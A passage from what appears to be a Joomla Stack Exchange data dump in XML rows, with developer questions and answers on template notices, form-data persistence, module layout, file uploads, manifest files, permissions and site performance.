&lt;strong&gt;error&lt;/strong&gt;: ( ! ) Notice: Undefined variable: item in C:\wamp\www\joomla\templates*****\html******\world.php on line 83&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-info&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;item-date&quot;&amp;gt;&#xA;                                    &amp;lt;i class=&quot;fa fa-clock-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JHTML::_('date', $item-&amp;gt;created, JText::_('TEMPLATE_DATE_DEFAULT')); ?&amp;gt;&#xA;&#xA;                                &amp;lt;/span&amp;gt;&#xA;&#xA;                                &amp;lt;span class=&quot;item-comments&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;?php if(!empty($item-&amp;gt;event-&amp;gt;K2CommentsCounter)): ?&amp;gt;&#xA;                                        &amp;lt;!-- K2 Plugins: K2CommentsCounter --&amp;gt;&#xA;                                        &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;K2CommentsCounter; ?&amp;gt;&#xA;                                    &amp;lt;?php else: ?&amp;gt;&#xA;                                        &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;0): ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item_first-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo $item-&amp;gt;numOfComments; ?&amp;gt; &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;1) echo JText::_('K2_COMMENTS'); else echo JText::_('K2_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php else: ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item_first-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JText::_('TEMPLATE_THE_FIRST_TO_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r85uz.jpg&quot; alt=&quot;joolma error Notice: Undefined property&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3983" LastActivityDate="2016-11-02T01:34:15.950" Title="Notice: Undefined variable: sj_mar in C:\wamp\www\joomla\templates\xxx\html\com_k2\templates\xxxx\item.php on line 276" Tags="|joomla-3.x|joomla-framework-1.x|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="2" ParentId="9317" CreationDate="2015-04-02T06:27:48.947" Score="0" Body="&lt;p&gt;This is due to high error reporting level and bad coding. Though it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fix these errors. Since these files are override files, you can easily fix without touching extensions core files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/4261200/1960712&quot;&gt;This answer&lt;/a&gt; will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ALTERNATIVE SOLUTION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;System &amp;gt; Global Configuration&lt;/code&gt;, then tab &lt;code&gt;Server&lt;/code&gt;. Under &lt;code&gt;Server Settings&lt;/code&gt; there is setting &lt;code&gt;Error Reporting&lt;/code&gt;. Set it to &lt;code&gt;None&lt;/code&gt; or &lt;code&gt;Simple&lt;/code&gt; and your error notices will be gone.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-02T06:27:48.947" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostTypeId="2" ParentId="9316" CreationDate="2015-04-02T06:45:35.167" Score="1" Body="&lt;p&gt;You are saving your form data too late. If there is an error, it returns &lt;code&gt;false&lt;/code&gt; before it could save data. And you should save &lt;code&gt;$original&lt;/code&gt; data, not already manipulated data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// If bad response from external API, throw error&#xA;if (!$response) {&#xA;    // Save everything back to the $_POST global variable&#xA;    $jinput-&amp;gt;post-&amp;gt;set('jform', $original);&#xA;&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('There was an error with the API', 'error');&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-02T06:45:35.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="2" ParentId="9314" CreationDate="2015-04-02T07:01:41.253" Score="2" Body="&lt;p&gt;These &lt;code&gt;if&lt;/code&gt; statements wont work. Imagine if there is module in positions &lt;code&gt;bottom-b&lt;/code&gt; and &lt;code&gt;bottom-c&lt;/code&gt;. Even if you would reverse &lt;code&gt;if&lt;/code&gt; statements, none of those wont match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve what you want, &lt;code&gt;if&lt;/code&gt; statements would be too complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather do it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Default width - for one column&#xA;// This gets new value, if there is more than one active position&#xA;$bottomColWidth = &quot;col-md-12&quot;;&#xA;&#xA;// Number of positions, which have modules&#xA;$countOfActivePositions = 0;&#xA;&#xA;// Positions to search modules in&#xA;$positions = array('bottom-a', 'bottom-b', 'bottom-c', 'bottom-d');&#xA;&#xA;// Loop over every position&#xA;foreach ($positions as $position) {&#xA;  // If position has modules&#xA;  if($this-&amp;gt;countModules($position)){&#xA;    // Increase active positions count&#xA;    $countOfActivePositions++;&#xA;  }&#xA;}&#xA;&#xA;if($countOfActivePositions &amp;gt; 1){&#xA;  $bottomColWidth = &quot;col-md-&quot;.(12 / $countOfActivePositions);&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would work in every combination possible.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-02T07:01:41.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostTypeId="2" ParentId="9316" CreationDate="2015-04-02T07:18:43.480" Score="3" Body="&lt;p&gt;You should use a session to save the form data. In the CMS there is a special User State for this. Just before you return false you should save the current data into the user state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Save the form data in the session&#xA;JFactory::getApplication()-&amp;gt;setUserState($this-&amp;gt;option . '.edit.authorization.data', $postData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;option&lt;/code&gt; here is the name of your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the model you can retrieve it in your &lt;code&gt;loadFormData()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check the session for previously entered form data&#xA;$data = JFactory::getApplication()-&amp;gt;getUserState($this-&amp;gt;option . '.edit.authorization.data', array());&#xA;&#xA;if (empty($data))&#xA;{&#xA;    $data = $this-&amp;gt;getItem();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have a success in your controller then you should flush the data from the session before return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;setUserState($this-&amp;gt;option . '.edit.authorization.data', null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-04-02T07:18:43.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="1" CreationDate="2015-04-02T09:01:32.833" Score="3" ViewCount="1014" Body="&lt;p&gt;I am making a basic MVC component, mostly following the HelloWorld tutorial. I made a form which contains a upload button and an input of type &quot;file&quot;.&#xA;The form loads fine, but when I upload a file I am unable to save and open the file for processing. I have tried multiple approaches but none worked.&#xA;How one does one deal with uploaded file upload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CabControllerCab extends JControllerLegacy {&#xA;&#xA;public function upload(){&#xA;&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $file = $input-&amp;gt;files-&amp;gt;get('fileData'); &#xA;&#xA;    var_dump($file); // does not work, returns null&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CabModelCab extends JModelAdmin{&#xA;public function getForm($data = array(), $loadData = false)&#xA;{&#xA;    $form = $this-&amp;gt;loadForm(&#xA;        'com_cab.cab',&#xA;        'cab',&#xA;        array(&#xA;            'control' =&amp;gt; 'jform',&#xA;            'load_data' =&amp;gt; $loadData)&#xA;    );&#xA;&#xA;    if (empty($form)){&#xA;        print 'empty form';&#xA;        return false;&#xA;    }&#xA;&#xA;    return $form;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;model/forms/cab.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;field&#xA;    name=&quot;fileData&quot;&#xA;    type=&quot;file&quot;&#xA;    label=&quot;COM_CAB_CAB_FILE_LABEL&quot;&#xA;    description=&quot;COM_CAB_CAB_FILE_DESC&quot;&#xA;    size=&quot;40&quot;&#xA;    class=&quot;inputbox&quot;&#xA;    default=&quot;&quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CabViewCab extends JViewLegacy {&#xA;public function display($tpl = null){&#xA;&#xA;    // get the Data&#xA;    $form = $this-&amp;gt;get('Form');&#xA;&#xA;    // Assign the Data&#xA;    $this-&amp;gt;form = $form;&#xA;&#xA;    $this-&amp;gt;addToolbar();&#xA;&#xA;    parent::display($tpl);&#xA;    }&#xA;&#xA;protected function addToolbar(){&#xA;    JToolbarHelper::title('Import Members');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Default View Layout&amp;lt;/h1&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php print JRoute::_('index.php?option=com_cab&amp;amp;view=cab&amp;amp;task=upload')?&amp;gt;&quot;&#xA;method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;form-horizontal&quot;&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Legend&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset() as $field)?&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                    &amp;lt;?php print $field-&amp;gt;label; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;?php print $field-&amp;gt;input; ?&amp;gt;&#xA;                    &amp;lt;button id=&quot;upload-submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;&#xA;                        &amp;lt;i class=&quot;icon-upload icon-white&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                        Start Upload&#xA;                    &amp;lt;/button&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;cab.upload&quot; /&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4006" LastActivityDate="2015-04-22T12:55:17.677" Title="Joomla 3.4 Development File Handling" Tags="|joomla-3.x|component|mvc|file-upload|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9324" PostTypeId="1" AcceptedAnswerId="13606" CreationDate="2015-04-02T16:05:46.380" Score="0" ViewCount="49" Body="&lt;p&gt;What would be the best way for me to customize custom sample data during installation of Joomla? In my particular case, I would like to replace certain words (or tokens, like %NAME%, %CITY%, etc.) within articles and the stored content of various types of modules (Custom HTML, Widgetkit 1.x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not during installation, then would having something that would be replaced on-the-fly (i.e. {myreplacecomponent name}, {myreplacecomponent city}) be more viable?&lt;/p&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1670" LastEditDate="2015-04-02T18:39:06.530" LastActivityDate="2015-09-15T12:59:20.070" Title="Joomla install with custom sample data — Customize text during install" Tags="|module|cms|articles|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="2" ParentId="8866" CreationDate="2015-04-02T17:03:12.893" Score="0" Body="&lt;p&gt;your element &lt;strong&gt;.qs-datos&lt;/strong&gt; is &lt;strong&gt;not&lt;/strong&gt; a next() element of the &lt;strong&gt;li&lt;/strong&gt;&lt;br&gt;&#xA;It's a &lt;strong&gt;child&lt;/strong&gt; element in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your html should look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3 class=&quot;plegable&quot;&amp;gt;Header 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3 class=&quot;plegable&quot;&amp;gt;Header 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/div&amp;gt;&#xA;&amp;lt;h3 class=&quot;plegable&quot;&amp;gt;Header 3&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;qs-datos&quot;&amp;gt;Content to expand&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-04-02T17:03:12.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostTypeId="2" ParentId="364" CreationDate="2015-04-02T18:15:56.997" Score="1" Body="&lt;p&gt;Another possibility is that session data is truncated due to language characters.&#xA;If storing in the db check the session data is complete (properly enclosed { }).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if session tries to store Montréal it may get truncated to Montr. Everything after Montr is lost and session data can longer be updated.&lt;/p&gt;&#xA;" OwnerUserId="4008" LastActivityDate="2015-04-02T18:15:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="1" CreationDate="2015-04-02T21:15:27.307" Score="2" ViewCount="2536" Body="&lt;p&gt;I use Joomla 2.5.4 and I experienced a few days ago, that I cannot upload new extensions, plugins. It has worked perfectly earlier, I haven't modified anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFolder::create: Could not create directory Path: /home/users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Root directory: &lt;code&gt;/home/users/45322/web/userpage02&lt;/code&gt;, it is already set on admin panel.&#xA;Why should Joomla write to &lt;code&gt;/home/users/&lt;/code&gt; instead of &lt;code&gt;/home/users/45322/web/userpage02/*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4009" LastActivityDate="2016-06-10T12:07:28.483" Title="JFolder::create: Could not create directory" Tags="|joomla-2.5|permissions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9329" PostTypeId="2" ParentId="9322" CreationDate="2015-04-03T08:23:58.287" Score="2" Body="&lt;p&gt;I figured it out while studying another component which had a basic upload function.&#xA;I needed to make the following change in my controller.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function upload() {&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $data = $app-&amp;gt;input-&amp;gt;files-&amp;gt;get('jform', array (), 'array');&#xA;&#xA;    $fileName = $data ['fileData'] ['name'];&#xA;    $tmpFileName = $data ['fileData'] ['tmp_name'];&#xA;&#xA;    // handle the file here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4006" LastActivityDate="2015-04-03T08:23:58.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9330" PostTypeId="2" ParentId="9247" CreationDate="2015-04-03T09:48:05.713" Score="0" Body="&lt;p&gt;Joomla has more cache levels,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Cache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you can using extensions,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/cachecontrol&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extension/cachecontrol&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;refers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=326990&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.joomla.org/viewtopic.php?t=326990&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2323/using-caching-for-module-or-component-independently&quot;&gt;Using caching for module or component independently&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-04-03T09:48:05.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9331" PostTypeId="2" ParentId="496" CreationDate="2015-04-03T13:12:52.033" Score="1" Body="&lt;p&gt;If you don't want to use an external component for this, then you can create an external URL in your menu pointing to &lt;code&gt;a.example.com&lt;/code&gt; and use your &lt;code&gt;.htaccess&lt;/code&gt; file to get content from your site's existing link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine on&#xA;&#xA;    RewriteCond %{HTTP_HOST} ^a.example.com&#xA;    RewriteRule ^(.*) http://example.com/$1 [P]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose, if your user visits this URL &lt;code&gt;a.example.com/user/sd&lt;/code&gt;, then the content will be of &lt;code&gt;example.com/user/sd&lt;/code&gt; without changing actual URL on browser.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Go with this method only if you are well familiar with &lt;code&gt;.htaccess&lt;/code&gt; file usage and ok with manual editing. This is useful if you don't want to use entire new extension for just few urls.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-03T13:12:52.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9332" PostTypeId="2" ParentId="9295" CreationDate="2015-04-03T14:42:42.147" Score="1" Body="&lt;p&gt;Based on Nick's answer I tried this solution with success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function update(JAdapterInstance $adapter)&#xA;{&#xA;    $version = self::getXMLVersion();&#xA;&#xA;    if (version_compare($version, 'my_plugin_version', '&amp;lt;') == 1) &#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $fieldsToGet = array(&#xA;            $db-&amp;gt;quoteName('params')&#xA;        );&#xA;&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('my_plugin_name'), &#xA;            $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote('system')&#xA;        );&#xA;&#xA;        $query-&amp;gt;select($fieldsToGet)-&amp;gt;from($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);   &#xA;        $results = $db-&amp;gt;loadResult(); &#xA;&#xA;        $options = json_decode($results, true);&#xA;&#xA;        // Array with all replacements&#xA;        $new = array(&#xA;        'old_name_01'           =&amp;gt; 'new_name_01',&#xA;        'old_name_...'          =&amp;gt; 'new_name_...',&#xA;        'old_name_99'           =&amp;gt; 'new_name_99');&#xA;&#xA;        // Replace fields&#xA;        foreach ($options as $oldKey =&amp;gt; $value) &#xA;        {&#xA;            $newKey = $new[$oldKey];&#xA;            $newArray[$newKey] = $value;&#xA;        }&#xA;&#xA;        $results = json_encode($newArray);&#xA;&#xA;        $fieldsToUpdate = array(&#xA;            $db-&amp;gt;quoteName('params') . ' = ' . $db-&amp;gt;quote($results)&#xA;        );&#xA;&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fieldsToUpdate)-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $result = $db-&amp;gt;execute();&#xA;    }&#xA;    else&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;}&#xA;&#xA;private function getXMLVersion()&#xA;{   &#xA;    $version = '';&#xA;&#xA;    $path = JPATH_PLUGINS . '/system/my_plugin_name/my_plugin_name.xml';&#xA;&#xA;    $xml = JApplicationHelper::parseXMLInstallFile($path);&#xA;&#xA;    if ($xml &amp;amp;&amp;amp; isset($xml['version']))&#xA;    {&#xA;        $version = trim($xml['version']);&#xA;    }&#xA;&#xA;    return $version;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-04-03T14:42:42.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9333" PostTypeId="1" AcceptedAnswerId="9341" CreationDate="2015-04-03T16:38:18.517" Score="3" ViewCount="134" Body="&lt;p&gt;In the latest J!3.4 when installing extension of type 'file' (or may be other types are affected also) there is a difference regarding what is going into &lt;code&gt;element&lt;/code&gt; field of table &lt;code&gt;_extensions&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extracts from &#xA;&lt;code&gt;\libraries\cms\installer\adapter\file.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J!3.3.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element = preg_replace('/\.xml/', '', basename($manifestPath));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like filename is going to be stored into &lt;code&gt;element&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J!3.4.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element = (string) $this-&amp;gt;getManifest()-&amp;gt;name;&#xA;$element = str_replace('files_', '', JFilterInput::getInstance()-&amp;gt;clean($element, 'cmd'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have &lt;code&gt;name&lt;/code&gt; tag into &lt;code&gt;element&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when uninstalling such extension. In both cases Joomla is looking for manifest filename into &lt;code&gt;element&lt;/code&gt; field. In the second case it will find name tage here.&#xA;Since Joomla &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; is saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt; – raw component name (e.g. com_banners).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there should be no problem, except ugly names in Extension Manager. But some old extensions simply do not work now, as they do not have pure filenames in the &lt;code&gt;name&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because we have another &lt;a href=&quot;https://docs.joomla.org/J2.5:Making_non-core_language_packs&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; in Joomla Docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Put anything into here, name is only shown in extension manager. &#xA;  &amp;lt;name&amp;gt;Kunena Language Pack&amp;lt;/name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what to write in the &lt;code&gt;name&lt;/code&gt; tag when creating manifest files?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-04-04T12:11:31.303" Title="What is the proper use of the name tag in the manifest file?" Tags="|database|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9334" PostTypeId="2" ParentId="9333" CreationDate="2015-04-03T17:19:31.997" Score="0" Body="&lt;p&gt;I've never tried with a file, but I suggest you do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;files_helloworld&amp;lt;/name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your administrator language &quot;&lt;strong&gt;.sys&lt;/strong&gt;&quot; file, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HELLOWORLD=&quot;Hello World&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see that I haven't used &lt;code&gt;FILES_&lt;/code&gt; in the language string as this gets stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, I have not tested this but I think it will works. Let me know what the outcome is.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-03T17:19:31.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="1" CreationDate="2015-04-03T23:27:05.427" Score="1" ViewCount="223" Body="&lt;p&gt;Recently I migrated a joomla 2.5 site with K2 from a shared host to a dedicated web server with WHM/cPanel with 1 GB of RAM. I used migration procedure recommended by WHM and everything went fine. My problem is now that the website loading is very slow, much slower than on the busy shared server!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time to first byte is 7 to 10 seconds! But this is only the case for joomla pages. If I put a static page, it loads in a little fraction of a second. What I have on the home page is intro of 15 newest articles in the main section plus tag cloud, 15 most read item titles and things like this in modules. I tried to reduce this numbers to just 1 and then the website loads in just 2-3 seconds. It seems the load time increases gradually with number of items being loaded, either in the main section or in the modules. So I guess there is something wrong with MySQL server configuration? I have MySQL 5.5.42 and database type in joomla configuration is mysqli, the same as before on the shared hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody advice on this please?&lt;/p&gt;&#xA;" OwnerUserId="4012" LastActivityDate="2017-05-09T16:22:24.997" Title="Joomla 2.5 slow after migraration to a dedicated VPS" Tags="|k2|mysql|migration|performance|server-response-time|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
